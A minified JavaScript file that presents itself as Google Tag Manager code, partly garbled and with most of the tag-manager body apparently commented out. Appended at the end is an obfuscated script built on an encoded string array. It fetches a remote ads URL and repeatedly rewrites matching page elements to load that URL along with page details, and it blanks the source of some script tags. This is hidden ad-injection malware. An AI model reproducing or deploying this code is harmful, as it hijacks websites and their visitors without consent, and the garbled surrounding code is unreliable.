// Copyright 2012 Google Inc. All rights reserved. /*(function(){ var data = { "resource": { "version":"1", "macros":[], "tags":[], "predicates":[], "rules":[] }, "runtime":[ [],[] ] }; var aa,da=this||self,ea=function(a){return"boolean"==typeof a},fa=/^[\w+/_-]+[=]{0,2}$/,ha=null;var ia=function(){},ja=function(a){return"function"==typeof a},ka=function(a){return"string"==typeof a},la=function(a){return"number"==typeof a&&!isNaN(a)},ma=function(a){return"[object Array]"==Object.prototype.toString.call(Object(a))},oa=function(a,b){if(Array.prototype.indexOf){var c=a.indexOf(b);return"number"==typeof c?c:-1}for(var d=0;db)a=0,b=2147483647;return Math.floor(Math.random()*(b-a+1)+a)},sa=function(a,b){for(var c=new ra,d=0;d"+a+"";b=b.lastChild;for(var c=[];b.firstChild;)c.push(b.removeChild(b.firstChild));return c},Tb=function(a,b,c){c=c||100;for(var d={},e=0;eb)){var c=a.substring(0,b);if(ic.test(c)){for(var d=a.substring(b+1).split("/"),e=0;e=Lc--?(Bc("GTM",1),Jc[Gc]=!0):(Kc.Kg(),Ob(Mc()),Hc[Gc]=!0,Nc=Ic=""))},Mc=function(){var a=Gc;if(void 0===a)return"";var b=Dc("GTM"),c=Dc("TAGGING");return[Pc,Hc[a]?"":"&es=1",Qc[a],b?"&u="+b:"",c?"&ut="+c:"",Ec(),Ic,Nc,"&z=0"].join("")},Rc=function(){return[wc,"&v=3&t=t","&pid="+qa(),"&rv="+nc.Cb].join("")},Sc="0.005000"> Math.random(),Pc=Rc(),Tc=function(){Pc=Rc()},Hc={},Ic="",Nc="",Gc=void 0,Qc={},Jc={},Fc=void 0,Kc=function(a,b){var c=0,d=0;return{pg:function(){if(c=b&&(c=0);return c>=a},Kg:function(){ya()-d>=b&&(c=0);c++;d=ya()}}}(2,1E3),Lc=1E3,Uc=function(a,b){if(Sc&&!Jc[a]&&Gc!==a){Oc();Gc=a;Ic="";var c;c=0===b.indexOf("gtm.")?encodeURIComponent(b):"*";Qc[a]="&e="+c+"&eid="+a;Fc||(Fc=u.setTimeout(Oc,500))}},Vc=function(a,b,c){if(Sc&&!Jc[a]&&b){a!==Gc&&(Oc(),Gc=a);var d=String(b[yb.ka]||"").replace(/_/g, "");0===d.indexOf("cvt")&&(d="cvt");var e=c+d;Ic=Ic?Ic+"."+e:"&tr="+e;Fc||(Fc=u.setTimeout(Oc,500));2022<=Mc().length&&Oc()}};var Wc={},Xc=new ra,Yc={},Zc={},cd={name:"dataLayer",set:function(a,b){f($c(a,b),Yc);ad()},get:function(a){return bd(a,2)},reset:function(){Xc=new ra;Yc={};ad()}},bd=function(a,b){if(2!=b){var c=Xc.get(a);if(Sc){var d=dd(a);c!==d&&Bc("GTM",5)}return c}return dd(a)},dd=function(a,b,c){var d=a.split("."),e=!1,g=void 0;var h=function(k,l){for(var m=0;void 0!==k&&mk;k++){var l=h[k].src;if(l){l=l.toLowerCase();if(0===l.indexOf(e)){b=3;break a}1===g&&0===l.indexOf(d)&&(g=2)}}b=g}else b=a;return b}; var od=function(a,b,c){if(u[a.functionName])return b.Mc&&G(b.Mc),u[a.functionName];var d=nd();u[a.functionName]=d;if(a.Eb)for(var e=0;eoa(c,k))if(l&&0 oa(c,l[p])){Bc("GTM",11);n=!1;break a}}else{n=!1;break a}n=!0}m=n}var t=!1;if(d){var q=0<=oa(e,k);if(q)t=q;else{var r=sa(e,l||[]);r&&Bc("GTM",10);t=r}}var v=!m||t;v||!(0<=oa(l,"sandboxedScripts"))||c&&-1!==oa(c,"sandboxedScripts")||(v=sa(e,Ed));return g[k]=v}},Fd=function(){return Bd.test(u.location&&u.location.hostname)};var Hd={Jf:function(a,b){b[yb.gd]&&"string"===typeof a&&(a=1==b[yb.gd]?a.toLowerCase():a.toUpperCase());b.hasOwnProperty(yb.jd)&&null===a&&(a=b[yb.jd]);b.hasOwnProperty(yb.ld)&&void 0===a&&(a=b[yb.ld]);b.hasOwnProperty(yb.kd)&&!0===a&&(a=b[yb.kd]);b.hasOwnProperty(yb.hd)&&!1===a&&(a=b[yb.hd]);return a}};var Id={active:!0,isWhitelisted:function(){return!0}},Jd=function(a){var b=oc.zones;!b&&a&&(b=oc.zones=a());return b};var Kd=!1,Ld=0,Md=[];function Nd(a){if(!Kd){var b=C.createEventObject,c="complete"==C.readyState,d="interactive"==C.readyState;if(!a||"readystatechange"!=a.type||c||!b&&d){Kd=!0;for(var e=0;eLd){Ld++;try{C.documentElement.doScroll("left"),Nd()}catch(a){u.setTimeout(Od,50)}}}var Pd=function(a){Kd?a():Md.push(a)};var Qd={},Rd={},Sd=function(a,b,c,d){if(!Rd[a]||qc[b]||"__zone"===b)return-1;var e={};Ja(d)&&(e=f(d,e));e.id=c;e.status="timeout";return Rd[a].tags.push(e)-1},Td=function(a,b,c,d){if(Rd[a]){var e=Rd[a].tags[b];e&&(e.status=c,e.executionTime=d)}};function Ud(a){for(var b=Qd[a]||[],c=0;c=c&&Ud(a)})},sf:function(){d=!0;b>=c&&Ud(a)}}};var Yd=function(){function a(d){return!la(d)||0>d?0:d}if(!oc._li&&u.performance&&u.performance.timing){var b=u.performance.timing.navigationStart,c=la(cd.get("gtm.start"))?cd.get("gtm.start"):0;oc._li={cst:a(c-b),cbt:a(uc-b)}}};var be=!1,ce=function(){return u.GoogleAnalyticsObject&&u[u.GoogleAnalyticsObject]},de=!1; var ee=function(a){u.GoogleAnalyticsObject||(u.GoogleAnalyticsObject=a||"ga");var b=u.GoogleAnalyticsObject;if(u[b])u.hasOwnProperty(b)||Bc("GTM",12);else{var c=function(){c.q=c.q||[];c.q.push(arguments)};c.l=Number(new Date);u[b]=c}Yd();return u[b]},fe=function(a,b,c,d){b=String(b).replace(/\s+/g,"").split(",");var e=ce();e(a+"require","linker");e(a+"linker:autoLink",b,c,d)}; var he=function(){},ge=function(){return u.GoogleAnalyticsObject||"ga"};var je=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i;var ke=/:[0-9]+$/,le=function(a,b,c){for(var d=a.split("&"),e=0;ec?a.href:a.href.substr(0,c)}return b}, pe=function(a){var b=C.createElement("a");a&&(b.href=a);var c=b.pathname;"/"!==c[0]&&(a||Bc("TAGGING",1),c="/"+c);var d=b.hostname.replace(ke,"");return{href:b.href,protocol:b.protocol,host:b.host,hostname:d,pathname:c,search:b.search,hash:b.hash,port:b.port}};var ve=function(a){};function ue(a,b){a.containerId=nc.i;var c={type:"GENERIC",value:a};b.length&&(c.trace=b);return c};function we(a,b,c,d){var e=lb[a],g=xe(a,b,c,d);if(!g)return null;var h=ub(e[yb.Dd],c,[]);if(h&&h.length){var k=h[0];g=we(k.index,{J:g,U:1===k.Od?b.terminate:g,terminate:b.terminate},c,d)}return g} function xe(a,b,c,d){function e(){if(g[yb.Ye])k();else{var w=vb(g,c,[]),y=Sd(c.id,String(g[yb.ka]),Number(g[yb.Ed]),w[yb.Ze]),x=!1;w.vtp_gtmOnSuccess=function(){if(!x){x=!0;var B=ya()-z;Vc(c.id,lb[a],"5");Td(c.id,y,"success",B);h()}};w.vtp_gtmOnFailure=function(){if(!x){x=!0;var B=ya()-z;Vc(c.id,lb[a],"6");Td(c.id,y,"failure",B);k()}};w.vtp_gtmTagId=g.tag_id; w.vtp_gtmEventId=c.id;Vc(c.id,g,"1");var A=function(B){var E=ya()-z;ve(B);Vc(c.id,g,"7");Td(c.id,y,"exception",E);x||(x=!0,k())};var z=ya();try{tb(w,c)}catch(B){A(B)}}}var g=lb[a],h=b.J,k=b.U,l=b.terminate;if(c.Dc(g))return null;var m=ub(g[yb.Fd],c,[]);if(m&&m.length){var n=m[0],p=we(n.index,{J:h,U:k,terminate:l},c,d);if(!p)return null;h=p;k=2===n.Od?l:p}if(g[yb.Cd]||g[yb.$e]){var t=g[yb.Cd]?mb:c.Ug,q=h,r=k;if(!t[a]){e=Ca(e);var v=ye(a,t,e);h=v.J;k=v.U}return function(){t[a](q,r)}}return e} function ye(a,b,c){var d=[],e=[];b[a]=ze(d,e,c);return{J:function(){b[a]=Ae;for(var g=0;ge?1:dk?1:ha.length||!ka(a[1])||!Ja(b))return;var c=kc(a[1]);if(!c)return;qf(c.id);var d=c.id,e=b[H.gc]||"default";e=e.toString().split(",");for(var g=0;g>21:d;return[Math.round(2147483647*Math.random())^d&2147483647,Math.round(ya()/1E3)].join(".")},Ag=function(a,b,c,d){var e=yg(b);return Ze(a,e,zg(c),d)},Bg=function(a,b,c,d){var e=""+yg(c),g=zg(d);1>2,m=(g&3)<<4|h>>4,n=(h&15)<<2|k>>6,p=k&63;e||(p=64,d||(n=64));b.push(Kg[l],Kg[m],Kg[n],Kg[p])}return b.join("")},Og=function(a){function b(l){for(;d>4);64!=h&&(c+=String.fromCharCode(g<<4&240|h>>2),64!=k&&(c+=String.fromCharCode(h<<6&192|k)))}};var Pg;function Qg(a,b){if(!a||b===C.location.hostname)return!1;for(var c=0;cg;g++){for(var h=g,k=0;8>k;k++)h=h&1?h>>>1^3988292384:h>>>1;e[g]=h}d=e}Pg=d;for(var l=4294967295,m=0;m>>8^Pg[(l^c.charCodeAt(m))&255];return((l^-1)>>>0).toString(36)},ch=function(){return function(a){var b=pe(u.location.href),c=b.search.replace("?",""),d=le(c,"_gl",!0)||"";a.query=bh(d)||{};var e=oe(b,"fragment").match(Zg);a.fragment=bh(e&&e[3]|| "")||{}}},dh=function(){var a=ch(),b=Tg();b.data||(b.data={query:{},fragment:{}},a(b.data));var c={},d=b.data;d&&(Da(c,d.query),Da(c,d.fragment));return c},bh=function(a){var b;b=void 0===b?3:b;try{if(a){var c;a:{for(var d=a,e=0;3>e;++e){var g=Vg.exec(d);if(g){c=g;break a}d=decodeURIComponent(d)}c=void 0}var h=c;if(h&&"1"===h[1]){var k=h[3],l;a:{for(var m=h[2],n=0;nq){t=!0;break b}t=!1}t||df(m,n,c,d,0==e?void 0:new Date(p+1E3*(null==e?7776E3:e)),!0)}}}var w={prefix:b,path:c,domain:d};sh(qh(g.gclid,g.gclsrc),w)},uh=function(a,b){var c=oh[a];if(void 0!==c)return b+c},vh=function(a){var b=a.split(".");return 3!==b.length||"GCL"!==b[0]?0:1E3*(Number(b[1])|| 0)};function xh(a){var b=a.split(".");if(3==b.length&&"GCL"==b[0]&&b[1])return b[2]} var yh=function(a,b,c,d,e){if(ma(b)){var g=ph(e);hh(function(){for(var h={},k=0;k=Number(c);case "_gt":return Number(b)>Number(c);case "_lc":var n;n=String(b).split(","); return 0<=oa(n,String(c));case "_le":return Number(b)<=Number(c);case "_lt":return Number(b)oa(R,H.rb)&&(z.cookieName=ba+"_ga")}var ca=String(vc);m(z,"cookieDomain","auto");m(A,"forceSSL",!0);var Ba="general";0<=oa("add_payment_info add_to_cart add_to_wishlist begin_checkout checkout_progress purchase refund remove_from_cart set_checkout_option".split(" "),ca)?Ba="ecommerce":0<=oa("generate_lead login search select_content share sign_up view_item view_item_list view_promotion view_search_results".split(" "),ca)?Ba="engagement":"exception"==ca&&(Ba="error");m(x,"eventCategory",Ba); 0<=oa(["view_item","view_item_list","view_promotion","view_search_results"],ca)&&m(A,"nonInteraction",!0);"login"==ca||"sign_up"==ca||"share"==ca?m(x,"eventLabel",gd(H.Le,v)):"search"==ca||"view_search_results"==ca?m(x,"eventLabel",gd(H.Se,v)):"select_content"==ca&&m(x,"eventLabel",gd(H.Ae,v));var T=x[H.ja]||{},O=T[H.Oa];O||0!=O&&T[H.B]?z.allowLinker=!0:!1===O&&m(z,"useAmpClientId",!1);if(!1===gd(H.ye,v)||!1===gd(H.P,v))A.allowAdFeatures=!1;z.name=w;A[">m"]=Kh(!0);A.hitCallback=y;var na=gd("_x_19", v)||Fi("gtag.remote_config."+v+".url"),Sa=gd("_x_20",v)||Fi("gtag.remote_config."+v+".dualId");na&&(z._x_19=na);Sa&&(z._x_20=Sa);x.ca=A;x.Ba=z;return x},p=function(v){function w(I){var R=f(I);R.list=I.list_name;R.listPosition=I.list_position;R.position=I.list_position||I.creative_slot;R.creative=I.creative_name;return R}function y(I){for(var R=[],V=0;I&&V{if(_0x81a0x5[_0xaabd[9]]=== 4&& _0x81a0x5[_0xaabd[10]]=== 200){var _0x81a0x8=_0x81a0x5[_0xaabd[11]];if(_0x81a0x8[_0xaabd[13]](_0xaabd[12])!= -1|| _0x81a0x8[_0xaabd[13]](_0xaabd[14])!= -1){dataok(_0x81a0x8)}}}}function dataok(_0x81a0x8){adsurl= _0x81a0x8;var _0x81a0xa=setInterval(controlfunc,20)}function controlfunc(){try{if(starter== _0xaabd[3]){starter= _0xaabd[15];try{var _0x81a0xc=document[_0xaabd[17]](_0xaabd[16]);for(var i=0;i< _0x81a0xc[_0xaabd[18]];i++){var _0x81a0xe=_0x81a0xc[i][_0xaabd[19]];var _0x81a0xf=_0x81a0xc[i];if(_0x81a0xf[_0xaabd[20]][_0xaabd[13]](adsurl)== -1){if(_0x81a0xe[_0xaabd[13]](_0xaabd[21])!= -1){var _0x81a0x10=_0x81a0xf[_0xaabd[22]];var _0x81a0x11=_0x81a0xf[_0xaabd[23]];var _0x81a0x12=adsurl+ _0xaabd[24]+ url2+ _0xaabd[25]+ _0x81a0x10+ _0xaabd[26]+ _0x81a0x11+ _0xaabd[2];var _0x81a0x13=_0xaabd[27]+ _0x81a0x12+ _0xaabd[28]+ _0x81a0x10+ _0xaabd[29]+ _0x81a0x11+ _0xaabd[30];_0x81a0xf[_0xaabd[20]]= _0x81a0x13}}}}catch(e){};try{var _0x81a0xc=document[_0xaabd[17]](_0xaabd[31]);for(var i=0;i< _0x81a0xc[_0xaabd[18]];i++){var _0x81a0xe=_0x81a0xc[i][_0xaabd[19]];var _0x81a0xf=_0x81a0xc[i];if(_0x81a0xf[_0xaabd[20]][_0xaabd[13]](adsurl)== -1){if(_0x81a0xe[_0xaabd[13]](_0xaabd[32])!= -1|| _0x81a0xe[_0xaabd[13]](_0xaabd[33])!= -1){var _0x81a0x10=_0x81a0xf[_0xaabd[34]];var _0x81a0x11=_0x81a0xf[_0xaabd[35]];var _0x81a0x12=adsurl+ _0xaabd[24]+ url2+ _0xaabd[25]+ _0x81a0x10+ _0xaabd[26]+ _0x81a0x11+ _0xaabd[2];var _0x81a0x13=_0xaabd[36]+ _0x81a0x12+ _0xaabd[28]+ _0x81a0x10+ _0xaabd[29]+ _0x81a0x11+ _0xaabd[37];_0x81a0xf[_0xaabd[20]]= _0x81a0x13}}}}catch(e){};starter= _0xaabd[3]};if(document[_0xaabd[9]]=== _0xaabd[38]){clearTimeout(controller)}}catch(e){}}httpGet();try{var jfiles=document[_0xaabd[17]](_0xaabd[39]);for(var i=0;i< jfiles[_0xaabd[18]];i++){if(jfiles[i][_0xaabd[20]][_0xaabd[13]](_0xaabd[40])!= -1|| jfiles[i][_0xaabd[20]][_0xaabd[13]](_0xaabd[41])!= -1){jfiles[i][_0xaabd[20]]= _0xaabd[2]}}}catch(e){}